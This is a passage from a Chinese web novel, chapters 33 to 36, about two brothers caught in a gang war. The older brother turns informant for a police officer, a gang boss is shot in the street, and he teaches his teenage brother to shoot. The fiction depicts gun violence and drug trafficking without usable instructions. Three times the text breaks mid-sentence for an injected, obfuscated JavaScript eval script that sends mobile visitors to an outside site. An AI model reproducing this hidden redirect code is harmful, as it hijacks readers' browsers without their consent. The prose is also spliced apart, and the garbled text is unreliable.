白容生一愣,没明白他在说什么。他皱眉抬手挡住光线,听见蒋兴康和那几人模糊的几句交谈,随后是对面提高声音:“不收我妹的情书,那就给你点别的看看啊。” 他放下手,“哦,我想起来了。要说别在校门口说,来这边吧。” 蒋兴康像是想看热闹,竟然也跟着走过来,双手闲闲地插在外套口袋:“情史丰富啊,小班长。” 白容生看傻子一样看他,身后拐角那里突然走出几个年轻男人,没个正行地打着哈欠,说笑着把跟过来的几人围住。 “搞什么呢?”摩托车被拍了一巴掌,“大晚上来堵高中生?” 蒋兴康瞪大眼,白容生格外平静,脚下甚至都不停,转身向家那边走。 “嗳,你等等。”蒋兴康快步追上他,“深藏不露啊,你身边还带保镖?” 白容生:“……没有,你想多了,我哥的朋友在这附近,刚刚给他们发的短信。” “了不起啊。”蒋兴康很感兴趣地追问,“你哥做什么的?他朋友看着挺厉害,对面那人在这附近混了几年……” 白容生觉得他实在聒噪:“和你没有关系吧?” 蒋兴康:“好奇问问,这么凶?我还不知道你天天在高傲什么呢,普通班考进来,看把你——” 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两人经过保安室,在路过白容生倒下的地方不约而同保持沉默。等回家进门,崔盛随便找张椅子坐下,终于显露出之前掩藏的疲态。 “能安全出来是好事,不管怎样,这把赌赢了。”他低声说,朝着白容生张开双手。 白容生走过去,被崔盛一把抱进怀里。他在崔盛后背拍了拍,问:“叉子要做什么,还需要你去做苦力?” “暂时用不到我,但不好说之后的事。”崔盛看他一眼,还在犹豫。 白容生慢慢地说:“哥,能不能跟我说实话?” 崔盛放开他,先去拿蛋糕。 这次蛋糕比去年崔盛的蛋糕要高档不少,白容生看见蛋糕店牌子就开始心疼钱,崔盛跟猜出他的心思一样,坦言:“叉子给了红包,就当庆祝。” “有什么好庆祝的。”白容生冷冷地说,“庆祝你去坐牢?” 崔盛只能若无其事地给他点上蜡烛。由于白容生认为蜡烛会破坏这个蛋糕,几根蜡烛被草率地放进纸杯,他闭上眼许愿后直接吹熄。 啪。灯又打开,白容生拿起餐刀切开蛋糕,崔盛边看着他边说:“贾大海手里有了批南方来的新货,量少价高,听说效果很不一般。叉子想拿大头,那他就必须证明他有这个能力吃下这批货。” 白容生切完蛋糕,将刀一扔:“你不去跟他干这个能怎么样?” “我没有选择。”崔盛缓慢道。 他在此刻彻底明白,所谓白容生将成为他的累赘意味着什么。如果在遇见白容生之前,他不想趟火坑大可以买张票离开C市,天下之大,总有他能立足谋生的地方。 可是现在白容生在这里,崔盛不能放弃他,甩手就走。他甚至还得期盼叉子获胜,否则他和白容生不会有好日子过。 “目前还轮不到我去干这个。”崔盛补充,“真轮到我的时候,叉子估计也要被逼上绝路了,希望不会有那一天吧。” 33. 第 33 章 考前,班里的氛围意外浮躁起来。没别的原因,是从蒋兴康那边传出,教育局临时换了局长,今年暑假可能学校不会安排补课。 虽然听上去挺假,不过季兰也听说了相关的风声。满满两个月的假期在前面,诱惑力着实很大。 白容生大概是少数不想放暑假的人,毕竟他没钱出去另外补课。如果学校不上课,暑假他只有在家自学,不知道开学后进度能不能赶上。 事实上这次期末,他面上不显,心理压力却不小。 对于压力的具体大小,白容生没有明确的感受。尽管崔盛回了家,生活看似在短暂数月的混乱后回归正轨,他也找不到过年之前的那种心情。 甚至不如说他从未如此清晰地再次认识到,这里不是家,不是他可以安心的落脚地。 冯少平专门在教室后的墙上挂了个白板,让他们把理想大学写上去。这个时候的学生普遍怀有极其远大的志向,又是重点班,写的全部是知名大学。 相比之下,白容生写的江城大学,虽然不差,但比起来没有那么显眼。 季兰打趣他是不是太谦虚,白容生没正面回答。他的目标是去江市定居,毕竟那里是离C市最近的、也是全国最繁华城市之一。 更进一步,他要在那座繁华的城市有一个完全属于他和崔盛的住所。那才是真正的家。 他还是有点失眠和多梦,不过比之前好一些。白容生产生一种怎么学都学不完的疲倦感,天气又热,头上只有风扇旋转时单调的声音。 崔盛不仅在修车店干活,还时常消失不知道去哪里。白容生只确定他没再去做打手,偶尔他回家时崔盛也在休息,就会招手叫他过去抱一下。 他独自去了几次食堂,在考试前一天的下午,路上被蒋兴康拦住。 “你哥,是那个叫崔盛的吧?”蒋兴康饶有兴趣地问,“才出狱嘛,想不到,小班长你家里还有罪犯?” 白容生站住,拧眉看他。 蒋兴康:“很好查的,看起来老师还不知道,不然冯少平怎么会让罪犯的弟弟做班长?你挺会装的。” “你可以去和老冯说啊。”白容生道,“都可以告诉他,我无所谓。就算你让全校都知道,我哥刚出狱,对我也没什么影响。” 蒋兴康反而笑起来:“别这样啊,我是想问问,你和你哥,是哪一派的人?你们是北城区过来的,我想想……大雁?叉子?” 已经走出几步的白容生回头,蒋兴康对他摊开双手:“好了,我是可能有点不会说话。贾大海,你认不认识?” 白容生神色不变:“我怎么可能认识他?” “你不认识,你哥肯定认识。”蒋兴康拿出手机,“蒋翰呢,你知道吗?” 白容生正想忽略他莫名其妙的问题,忽然记起来,前阵子主导对北城区清扫的那位警司,就姓蒋。 “看来你有印象。”蒋兴康满意地笑道,“巧了,我哥需要几个卧底,你呢,肯定想要你哥能做个正经人吧?这个号码你可以记下来,如果有意向,三天内联系,保证事成后提供保护,送到外地去避风头。” 没有去看他的手机,白容生问:“这种事对我说,你真的不是在开玩笑吗?” “没有啊,因为我那位表哥觉得你这样的很可靠。”蒋兴康耸肩,“他能查到的资料很多,我没办法全部知道,我只是好奇你那天晚上能叫出来那么多人罢了……不过他说,他有把握你哥会答应,即使不答应也不会告密。” 他说的对。 白容生记下了那串电话号码。蒋兴康有些得意,打了胜仗一样,还想再说,白容生则不再理他,转身就走。 考试前没有晚自习,白容生回去得早了些,开着门复习等到崔盛回来。 崔盛推门进来发现他还没睡,惊讶道:“学这么晚?” 白容生打开客厅的灯,严肃地站在那里仔细看着他。崔盛被他审视得有点莫名,走过去摸了摸他的额头试试温度。 “哥,我问你一个问题。” “说。” “如果可以……如果有机会改变这个生活,宁愿不要叉子的钱,甚至可能比之前还穷,但是能让叉子消失,你做不做?” 崔盛面无表情,手顺便捂住白容生的嘴:“你疯了?” 白容生拽他的手没拽动,直接对着崔盛的手指咬了口。崔盛惊讶地低头看他一眼:“你换牙呢,还咬人?” “我是认真的!”白容生沉默几秒,“虽然他给的路也不好走,可是我觉得你可以问问,因为哥,你继续跟着叉子走下去,绝对是死路一条。” 那张记着电话号码的纸条皱巴巴的,足以看出经受了怎么样的搓弄。崔盛看着纸条,有点无奈,显然没有当回事。 “我问问吧。”他说,“你去洗澡睡觉。” 白容生洗完,潦草地用浴巾擦着头发,没在客厅看见崔盛。他闻到熟悉的烟味,依然是那种廉价烟,味道较呛。 崔盛背对着他在阳台窗口抽烟,听见白容生的脚步,他转身,橙红的烟头在黑暗里倏忽一闪。 “白容生。”他掐断烟走回来,抬起手,想到白容生刚洗完又收回去,“今晚跟哥一起睡吧?” 搬到这里后,有了两间卧室,再加上白容生高中生需要保证睡眠质量,他们就没再一起睡过。崔盛乍然这样说,白容生很意外,点了点头。 也奇怪,白容生在崔盛床上躺下后,没多久就睡意浓厚。 意识朦胧间,他感觉身侧崔盛躺了下来。 “睡了?”崔盛声音很轻,随后他顺了顺白容生脸边的头发,“睡吧。” 白容生睡得很快,崔盛却一时间睡不着。他躺在那里望着上方漆黑的天花板,耳边还能听见蒋翰的那些话。 新任空降年轻警司的私人电话,竟然就这样让他拿到了。 蒋翰把他和白容生的履历摸得很清楚,并且轻松推测出崔盛故意被捕入狱的目的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168956|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他捏住的把柄和叉子相同,为了白容生能够顺利读完高中,崔盛可以付出一切。 赌不赌呢? 崔盛思考很久,思考到大脑都近乎放空的状态。他转头想看看白容生时,靠着他的白容生身体忽然一抽,像被吓到一样,抽着气翻身,急促地喘息着。 他的后颈都是冷汗,崔盛一伸手就摸到了,赶紧抱住他,低声叫他名字:“白容生,怎么了?” 白容生还没完全清醒,纯粹是被噩梦惊着了。崔盛用力把他抱住,像他见过那些人抱小孩一样,拍抚白容生的后背:“嘘,没事了。” 过了会,白容生平静下来,模糊地叫他两声“哥”,脸埋进崔盛胸前又睡了。 就这样抱着,崔盛也不嫌热。等白容生再次睡熟,他亲了亲白容生的发顶,已经做出决定。 两人用的相同洗发水和沐浴露,味道交织在一起。但白容生身上的味道似乎要更温馨、更甜腻一点,崔盛闻着他的气味,渐渐睡了过去。 没睡几小时,崔盛在生物钟下先醒过来,房间里光线微弱。他小心松开手,白容生却还抱着他的胳膊,让他很为难。 等到睡醒的话,白容生又要急匆匆地洗漱再冲下楼买早饭。但大概还有半小时就要起床,假如把他吵醒,后面睡不了多久。 崔盛还在思考,白容生却醒了,神智不大清楚地换了个姿势。崔盛趁机收回手,低声让他继续睡,白容生勉强看他一眼,又睡着了。 他下楼买完早饭回来,白容生已经起床,困倦地边擦着脸边走出洗手间。崔盛让他坐下吃,倒杯水给他:“最近是不是压力有点大?” 白容生咬着包子抬起眼睛看他:“还好。” “真的还好?”崔盛手指敲了敲桌面,“晚上怎么做梦反应那么大,考试后去医院看看。” 白容生:“不用。” 崔盛:“听话。” 白容生:“过段时间就能好了,别管我。你不应该首先考虑你的事吗?” 真是稀奇。崔盛突然共情了他在监狱里听一个男人抱怨过,家里孩子读高中后,每次见面都能把他噎得说不出话。 他盯着白容生,白容生同样看回来。餐桌上方亮着灯,照着白容生一张脸雪白,眼底还有浅浅的黑眼圈,比之前疲惫许多。 算了。崔盛想,和小孩子计较什么,这段时间他一个人也不容易。 白容生吃完早饭,拎起包,站在门口犹豫几秒,忽然回身,和崔盛结结实实抱了一下。 夏天衣服薄,在拥抱里皮肤的温度能够被清楚感知。白容生以前从没用过这么大的力气,崔盛被他抱得有点惊讶,双手下意识环住他。 手底下的脊背轻易就能摸到骨头,崔盛只揽了一下,白容生就一声不吭地放开他,拿着包转身出门了。 他在原地回过神,明白了白容生在这个突然的拥抱里的意味,没忍住笑了笑。 为了世界上仅此一个这样拥抱他的人。 34. 第 34 章 期末考试完,冯少平进班宣布,暑假只有几个重点班打着竞赛的名义在八月补两周课,其余时间暂定都是休息。 最热的七月可以休满,整个班都不关心成绩了,全在欢呼,隔壁班还有举着一个破锣出来敲的。 白容生走出教室,李舜早就在班门口等他:“老冯怎么这么多话?走,中午叫上你哥去我家吃饭!” “他不一定在家。”白容生说,和吴飞云撞了下肩膀,“这次英语好难。” “数学才是要死。”李舜抱怨,“我妈找了一中才带完高三的老师,说要暑假每天给我补数学,家都不回了就住这里,不敢想这个暑假会有多恶心。还好飞云陪我一起,白容生你多来找我们玩啊,我带你打游戏。” 现在电脑不算奢侈品,但也不便宜,而且很占地方。崔盛琢磨过要不要给家里装个电脑,白容生认为没必要。 他不打游戏,不理解李舜和吴飞云的兴趣爱好,但暑假能多和朋友见面也是好的。 吴飞云家境没有李舜的好,不过家里对于他上学很舍得花钱。两人分担补课费,再加上李舜免费让吴飞云住他家里,这个钱咬咬牙出得起。 李舜家中全天开着空调,桌上摆着切好的西瓜,热情洋溢地给两个朋友介绍他游戏里的女神。现在成绩还没出来,白容生考完后总算卸去不少压力,三人玩了一下午,直到傍晚,吴飞云要坐车回家。 送完他,白容生也要回去了。 天气热,白容生从车站和李舜一起骑着自行车回来,额头出了层汗。他想着和崔盛一起出去吃凉面,摸钥匙开门时,家门从里面打开了。 “噢,小白回家了?”铁算盘笑着拍拍白容生的肩,“我来找你哥谈些事。崔盛,今晚我请你们吃饭吧?” 门后,白容生看见崔盛把什么漆黑沉重的东西收进盒子里,起身说:“应该我请,哪有让哥你跑一趟还出钱的道理。” 最终,穿着简朴的铁算盘和他们一起,蜷坐在一张塑料小桌边,用一次性筷子拌开凉面。 吃饭前铁算盘把茶色的眼镜取下,他那只瞎了的右眼蒙着白翳,取出一小瓶眼药水,对着发红的左眼滴下。 他最近这只唯一的好眼状态不怎么样,叉子提过让他去外面的大医院看,可是和贾大海那边闹得不愉快,他一时半会走不开身。 有白容生在,铁算盘没和崔盛聊太多,态度和蔼地询问几句白容生的学习状态。他只吃了半碗面,打开钱夹从里面抽出两张钞票塞给白容生:“上学读书有时候是辛苦,不能太委屈自己。你哥也都是为了你,我们都很关心你,咱们怎么能不算一家人呢?” 一家人? 白容生笑道:“我明白,你们都是对我好。” “那就对咯。”铁算盘起身,让他继续吃,示意崔盛和他出去。 这边沿街一面都是低矮的小饭店,进出还得低头。铁算盘叼上烟,崔盛给他点火,他嘴唇动了动:“形势不好。” 崔盛自己没抽,收起火机:“大当家什么意思?” “贾大海手里那批货,别说咱们了,整个北城区也吃不下去,那是给整个市的。”铁算盘重重喷出口烟,“他起家太顺了,太顺了会以为自己无所不能……也不想想那么多的钱,他一个人怎么赚的完?崔盛,你之前不在他身边,不知道他身边那些人要把他吹成什么,我看叉子是要完。” 最后一句他声音很小,含糊地说完,泛红的左眼却是尖利地盯着崔盛。 崔盛神情自若:“我虽然很早就出来混,但还是在大当家手下才混出了个人样。现在我和白容生都指着他吃饭,我比谁都不希望他出事。” “这我也很明白。”铁算盘说,“大家都不容易,大家都很难啊……所以咱们不能眼睁睁看着大当家自寻死路。他被钱迷晕头了,忘记了贾大海不是他惹得起的人。” 崔盛看向铁算盘的眼睛,在冷酷的目光里,铁算盘说:“要死,至多死他叉子一个,不能让他带着我们去死。” 叉子倒是没蠢到正面挑战贾大海的程度。只是他需要向贾大海证明自己有能力承担那些货,为此他不惜去挑战北城区稳定数年的基本秩序,他想独吞想强占,忘记了这里容不下打破规则的混混。 与其等外人来围猎叉子、瓜分地盘,不如他们内部直接换个老大,省得肥水流到外人田。 “二当家,”崔盛说,“这件事您找我,估计用处不大。” “你还年轻,不想再往上爬一爬?不说为了自己,为了小白,也得努努力吧。”铁算盘笑道,“你不是傻子,看得出来叉子不会让你走得太高,等小白读大学回来,在外面见识了花花世界,眼里还能有一个小混子哥哥?可要是取代叉子的位置,你能给他提供助力,他不得继续认你这个哥。” “有些道理你是很清楚的,人的心可经不起磋磨,小白几年后真不一定记得你的好。既然这样,就该提前有准备。”铁算盘最后说完,摆手示意不送,低头吸着烟,戴上眼镜独自离开。 身影乍看上去,也就是一个普通的中年男人。 白容生已经吃好了,在店里看他们两个聊完才出来。 “哥,”他手里还拎着打包的凉面,“他找你不是有什么问题吧?” “没有。”崔盛回答,伸手去接他提着的凉面,“还打包?这家变得不好吃了,下次带你去南边那家店。” 他话语里最后几个字被一声刺耳的尖啸盖住,一辆突然冲出的摩托车轮胎在地面摩擦出怪声,车上两人都带着严实的头盔,恰好卡在即将拐弯的铁算盘之前。 铁算盘的反应不可谓不快,在摩托车冲出的那一刻,他就立刻转身向崔盛跑来。但他甚至没来得及说话,摩托车后座的人就举起枪,冲着他的后背砰砰砰连开数枪。 开完枪,这两人毫不留恋,调转车头疾驰而去。在一片尖叫里,铁算盘双手在空中狼狈地挥舞几下,脸朝着崔盛的方向,扑倒在地。 崔盛在第一时间转过去把白容生抱进怀里,下意识用背挡住开枪的方向。摩托车开走后,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168957|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不敢立刻放开白容生,是白容生拍了下他的手背,说:“他死了吗?” “应该死了。”崔盛说,周围全是急忙逃开躲避的人,他把白容生往最近的店门一推,“你进去,我看看他怎么样。” 白容生:“我报警吧。” 崔盛点头,看着他走进店里,才快步过去,在铁算盘旁边蹲下。 他没伸手乱动,只是凭借经验观察,看着铁算盘背后的血洞和地上蔓延开的血渍,推算大概是不行了。有他带头,另有几个胆大的路人跟着围上来,交谈着报警和叫救护车。 麻烦。崔盛想,偏偏是今天铁算盘来找他,偏偏不少人应该都看见他和铁算盘一起吃饭。 谁胆子那么大,从北城区追到这边来,当街枪杀铁算盘?如果说是叉子的仇家,为什么不在他和铁算盘说话时开枪,这样能一次杀死两人? ……不对,还有一种可能。 铁算盘来之前,提前和崔盛打过招呼。根据蒋翰之前的要求,崔盛把这个消息用短信发送了过去。 “确切来说就是卧底,全看你敢不敢做。我知道我还没那么大力量扫平这里,但清理一下北城区我想还是做得到的。叉子胆子太大,手伸得又长,当然是首要目标。……哈哈,不要这么抗拒,你们都和我弟弟差不多大,却过得这么辛苦,但是我还是得说,只坐几个月的牢太便宜你了哦?” 那天晚上,蒋翰轻松地在电话那头说着。 崔盛反问他:“你是在威胁我,不听话就要把我再送进去吗?” “我是真心在求合作。”蒋翰说,“保证卧底的忠诚是一件难事,你简直是送到我面前的合作对象。为了你弟弟,我相信你可以完成任务。对了,贾大海的新货作用你应该很清楚吧,死在KTV的那个小子,体内检测出了过量的残留。” 在崔盛的沉默中,他发出闷笑,“好了,不要紧张,这件事我也不打算追究。叉子现在还不够疯狗,必须把他逼到狗急跳墙那一步,逼他去咬一口贾大海,才轮到我们出手。” 对他的后续计划,崔盛并不在意。他走神地听了会,打断:“我只有一个要求。” “什么?说吧。” “假如中间我死了,无论我的任务有没有成功,立刻把白容生送走,保证他在别的地方顺利生活。” 继续和叉子走下去,只有死路。早两天前崔盛还动过带白容生逃跑的念头,可蒋翰的电话让他明白,即使跑了,他也要做一辈子逃犯。 他做逃犯没关系,可是白容生呢? 那么唯一的生路,就是叉子去死。 蒋翰:“那当然没问题,这是我应该做的,我还可以承诺,你的那些事,我也会让它们消失。放心吧,你在叉子那里地位不低,发挥的作用会很大,只要你小心别让自己被抓到。” 所以说,铁算盘的死,会是谁的手笔? 崔盛打了叉子的电话,第二遍才接通。不等叉子开口,他简洁明了地说:“二当家死了。在街上被人开枪打死的。” 35.第 35 章 隔天,杀死铁算盘的凶手便明确了。 他竟敢独自离开北城区,贾大海毫不手软,派人当街枪杀。 这是一个明晃晃的警告,向所有人宣示,不要打他手里新货的主意,否则即使是北城区赫赫有名的一位二把手,他也说杀就杀。 叉子还没对外发布声明,北城区都知道他气疯了,不少常驻北城区的老混混也在咒骂,可是没人敢出头。 贾大海要的就是这种效果,即使那么多人骂他,也没人反抗他。 白容生在桌前写作业,窗户开着,外面是一阵阵的蝉鸣。崔盛一大早就出门去见叉子,白容生总在间隙走神,怕他出事。 好在崔盛不仅没出事,回来得还挺早。 “来吃饭。”崔盛买的一盘地三鲜、一盘炒鸡,摆在餐桌上,“吃完下午带你出去。” “这么热,去哪?” 白容生刚刚还在看去年暑假拍的照片,明明只过去一年,他却觉得无论是自己还是崔盛,都和去年照片里完全不同。 照片里看着还会让人误认为是小孩,现在是绝对不会了。 “等到三点多钟吧。”崔盛给他拿筷子,“那时候太阳没那么大。” 吃完饭崔盛扔掉打包盒,白容生懒洋洋去洗了碗筷,回来坐在客厅风扇旁边伸直腿吹风。他的脚无意识拨着拖鞋,问崔盛:“现在状况是不是不太好?” 北城区今天确实处于某种低气压中,几派混混各自行动起来,街头上察觉出不对劲的普通人都低着头匆匆走过,不愿意在外面停留。 叉子今天把人都叫回去,没说别的,只宣布,他要给铁算盘办葬礼,公开的葬礼。夏天停尸停不了多久,葬礼时间在三天后。 崔盛临走前被他叫住,叉子单独叮嘱他,让他把白容生带来,一同参加葬礼。 “也没有那么糟糕。”崔盛回答,顺手拿起一条搭在沙发边的长毛巾,盖在白容生肚子上,让他在沙发午睡一会。 白容生听着英语单词睡过去,睡得很浅。自那天两人一起睡后,只要晚上崔盛在家,他们都会睡同一张床。 大概是有崔盛在身边,白容生潜意识里的恐惧消散得更快。再加上考试结束,这两天他的睡眠有了质的飞跃。 在念经一样不停重复的英语中,他的思绪里闪现了很多东西。白容生似睡非睡,忽然听见门响,他睁开眼,竟然已经三点了。 “醒了?” 崔盛提着一只装得鼓鼓的袋子,随意往地上一放,“喝杯水,收拾一下带你出去。” 白容生愣神地坐起来,窗外的阳光有一点照在他身上,连腮边细细的绒毛都纤毫毕现。 他打了个哈欠,崔盛走过来关风扇,十分顺手地把他一捞。白容生趴在他肩膀上长叹口气,才晃去洗脸。 冷水冲过脸后,白容生彻底清醒,他套上长裤,看见崔盛蹲着,取出一个铁盒。 盒子有些眼熟,白容生记起来,铁算盘来的时候,他看见崔盛把什么东西收进这铁盒里。 但现在他看着盒子打开,表情不由变了:“这是——哥,你哪里来的枪?” 铁盒是饼干盒,里面用旧毛巾包着的是一把漆黑的手枪。 崔盛拿起枪看了看,放回盒子里收好,起身将盒子塞进包里,转而问:“想不想学?” 白容生:? 出门时太阳还很大,崔盛带了个帽子,白容生罩了件薄衬衫。C市的夏天短暂却炽热,水泥地反射着光,暑气蒸腾,摩托车开过去带起一股热浪。 崔盛不知道从哪借的摩托车,震得厉害。白容生一开始觉得很吵,后面听习惯了又被颠得犯困,靠在崔盛后背睡到停车。 “这么困?”崔盛的手伸到后面摸了摸他的脸,白容生甩甩头,从车上下来。 周围是类似乡下的野地,树木稀疏,杂草丛生,抬眼看不见人影,远处田里能看见几个错落的坟包。 崔盛从袋子里提出一串易拉罐,走到草地里,在一个土坡上把一圈五颜六色的空易拉罐歪七扭八放好,回头目测完距离,再走回来。 “这边。”他从袋子里又掏出一把看不出真假的枪,交给白容生,“试试怎么样?” 白容生拿过枪试了试,分量不轻。他不可思议问:“哥,你认真的?” “不想学吗?”崔盛问。 “不,也不是不想。”白容生嘟哝,拿起枪试探性地瞄准,“这个是假的吧?” “认识的人自己改的,可以拿来打靶玩,也可以真的打人。”崔盛站到他身后,扶着白容生的肩膀,帮他对准远处草丛里的易拉罐,“这个手感和真的差不多,但是用玩具子弹就能打。你上手了,再把真的给你玩,我以前就是这样学的。” 白容生眨了眨眼,斜照的日光照得易拉罐反射刺眼的光线。盯得久了,易拉罐似乎也在晃动。 崔盛帮忙掌住他的手,却没动,贴在他耳边说:“你觉得可以开枪的时候,就开枪。” 白容生放缓呼吸,已经出汗的手指扣动板机,砰一下,他感到从手指尖蔓延开到手臂、肩膀的震动。他瞄准的蓝色易拉罐纹丝不动,白容生却不泄气,调整姿势,继续开第二枪。 反正是玩具子弹,练手也不怕浪费。 随着人沉浸进去,白容生竟然有点喜欢上这种感觉。辽远无人的天地间,他的目标只有枪口瞄准的易拉罐,每一枪都带来切实的震颤。 砰! 蓝色的易拉罐瘪了一块,横飞出去,激起大片尘土。白容生手臂都开始发酸了,他垂下手甩了甩,崔盛站在他身后任由他靠着,夸奖:“上手很快。” “哥。”白容生靠在他身上,仰头看他,“你现在给警察做事?” “……不算吧。”崔盛带着点抵触,作为资深混混,他天然不愿意和警察扯上关系,“各取所需。” 白容生:“你文化水平提高不少?” 崔盛笑了,拍了拍他的腰,“继续,换个远的打。” 瞄准目标的同时,白容生说:“趁他们还没打起来,我们走吧。哥,我觉得他们牵扯不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171413|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到我,叉子也不至于找我的茬,只要你离开这里,他们找不到你,何必这样大费周章。” “我无所谓,你不行。” 子弹没了,崔盛打开弹盒,帮他装上,“你的户籍在这里,学籍也在这里,跟着我跑,学还上不上了?” “我——” “就算我舍得让你再浪费一年,去外地再考一次高中,到时你还是个黑户,根本没办法上学。”崔盛按住白容生的肩膀,“已经高二了,还有两年,白容生,还记得你的目标是什么?” 白容生安静了好一会。他抬枪对准最高处的那只红色易拉罐,在长久的沉默后开枪,易拉罐砰地再次横飞出去。 “哥,”他没回头,看着远处,“这个问题我也想问你,你的目标是什么?” “可能是赚钱吧。” 崔盛吹了个口哨,忽然一顿。先前靠在他怀里的白容生转过身,举着枪,坚硬的枪口抵着他的腹部,认真地说:“哥,从实招来。” “你会开枪吗?”崔盛没动,“白警官?” 白容生翻了个白眼,就听崔盛说:“就我个人来说——没有。我没有什么目标,缺乏追求,目前只有培养你这个任务。” 白容生不说话,突然连开好几枪,打飞几只易拉罐后他自己换子弹,震得手腕发麻也不停。 他一口气把半盒子弹打完,只剩下一只绿色易拉罐还坚持地站在那里。此时阳光已经不再那么强烈,白容生放下枪,崔盛递给他一瓶水,他才发现此时的手连瓶盖都拧不开。 崔盛蹲在他面前,给他拧开水,“还要我喂吗?” 白容生夺过水瓶,冷不丁道:“我的目标也没什么高远的,就是想带着你一起离开这里,生活得比现在好。可是这一切的前提是我们得好好地活着,假如你死了,我真的……我后悔了,我不该听蒋兴康的鬼话,管叉子他是死是活,哪怕做个黑户。我们还可以去国外,总有能从头开始的地方。” 他一口气喝了小半瓶水,剩下的崔盛接过去喝了两口,这才说:“我不会死。我向你保证,不管怎么样我都不会死。这是一劳永逸的办法,只要掰倒叉子,我就不做这些了,你也能安安心心去上学,省得被人说你哥还是个进去过的混混。” “我在乎这个?”白容生反问。 崔盛:“我在乎。” 从盒子里拿起那把真枪,白容生仔细地摆弄,没说话。冰凉沉重的金属贴着掌心,他研究半天,无师自通地装进子弹,举起来,对着最后的易拉罐。 枪口火光一闪,意外的震响差点让白容生出现耳鸣,右手更是开完这一枪就脱力地垂下,连带着枪都掉到地上。易拉罐直接被打碎,迸飞开,空气里弥漫着火药味。 崔盛捡起枪放回去,给他揉揉手腕,“挺有天赋啊,枪打得这么准?” 白容生把右手放在他手心上,突然说:“教我这个,是后面会用上吗?” “……”崔盛说,“我希望用不上。” 他的手收紧,轻易握住了白容生。 36.第 36 章 “嗯,我今天就不去了,你们玩得开心。”白容生趴在沙发边,拿着听筒和对面的李舜说,“真的有事,下次再约。” 他放下电话的话筒,起身换上旁边的衣服。崔盛拿着一件劣质白衬衫从卧室出来,对着镜子穿上,不大自在地啧了下:“显得我像傻子。” 衬衫太薄,背后的纹身都能看见大概轮廓。 白容生只需要穿简单的白T恤黑裤就好,他从沙发下来,拿起椅背上的黑色外套丢给崔盛:“盖住就看不见了。” 其实崔盛身材很好,平日里表情缺乏波动,路人看着应该很有型。白容生客观评价完,夸他:“这样穿还挺好看的。” 崔盛被他逗得笑了下,把枪别到腰后,用宽松的外套盖住。他不知道从哪里又找来一把改装过的小型手枪,让白容生塞进随身的挎包里。 “一般打不死人,但能防身。”他说,“你就露个面给叉子看,他现在心里不舒服到处找茬。等他见过你了,我会安排人把你送走。” “你呢?” 崔盛避而不谈:“我没问题,你得走。” 白容生:“别忘了你答应过我的事。” 崔盛思索地看着他,忽然低头,在他前额上极轻柔地吻了一吻。 “我还等着你带我发达呢,白老板,我不会死的。哪有那么容易死?” 白容生带上头盔,跨坐上旧摩托车,在后面抱住崔盛的腰。崔盛确认他坐好后,风驰电掣地驶向北城区。 路上无聊的时间,白容生想起那天在李舜家打的一个横版过关游戏。开局一无所有的主角必须一口气通过所有关卡,捡拾过程中随机刷新的武器和弹药,打败每关的boss。 如果中间死了,下一把游戏必须重新开始。 李舜死了几次被气得不行,白容生硬是边玩边用本子记,给他打通了。 可惜现实不是游戏,不能死了后从头再来。 北城区难得像今天这么热闹,路上甚至有了点堵车的意味。 崔盛把摩托车停路边,白容生摘下头盔,被他扶着下车。 铁算盘的葬礼,叉子下定决心要大办,请柬发得很广,据说连贾大海都发了。 贾大海会来吗? 葬礼前半部分在铁算盘的别墅那里举办,后面转移去殡仪馆火化。来的人穿着色调款式不一的黑白衣服,白容生跟着崔盛,安静地四处看,发觉不少人身上都带了东西。 这样紧张的形势下,大型械斗估计一触即发。叉子真的能够承担起后果? 接近别墅的路口,被几辆黑车人为封路,叉子的人守在那里,查验每个进场的人的身份。进入路口后,路两边站满了穿着黑衣服的人,都不出声,注视着往来的人。 白容生只用余光四处瞟着,稍稍走神落后一步,崔盛就神经紧绷地抓住他的手。 大部分人只有在别墅外站着晒太阳的份,少数人才有资格进入别墅。崔盛摘下墨镜露出正脸,牵着白容生走进别墅院门。 在完全西式化建造的别墅花园里,叉子搭起一个乡下丧事常见的大灵棚,正中央停放了铁算盘的棺材和遗像,显得很突兀。不知道他假如看见自己死后葬礼被叉子办成这样,会是作何感想。 灵棚周围看守的人,根本不藏身上的枪,全都大喇喇挂在腰间。叉子独自站在铁算盘的棺材前,正在抽烟,回头看见崔盛,对他招手。 崔盛放开白容生,哪知叉子说:“你那小孩也带过来,他该烧根香。” 棺材前有只火盆。按照当地习俗,人死后,但凡家里有后辈,都要由后辈在火盆里烧纸、烧香,送最后一程。 叉子手下绝大部分人都可以算是铁算盘的后辈,白容生并未加入他们,严格来说轮不到他烧。但既然拿了他的钱,烧纸也是应该的。 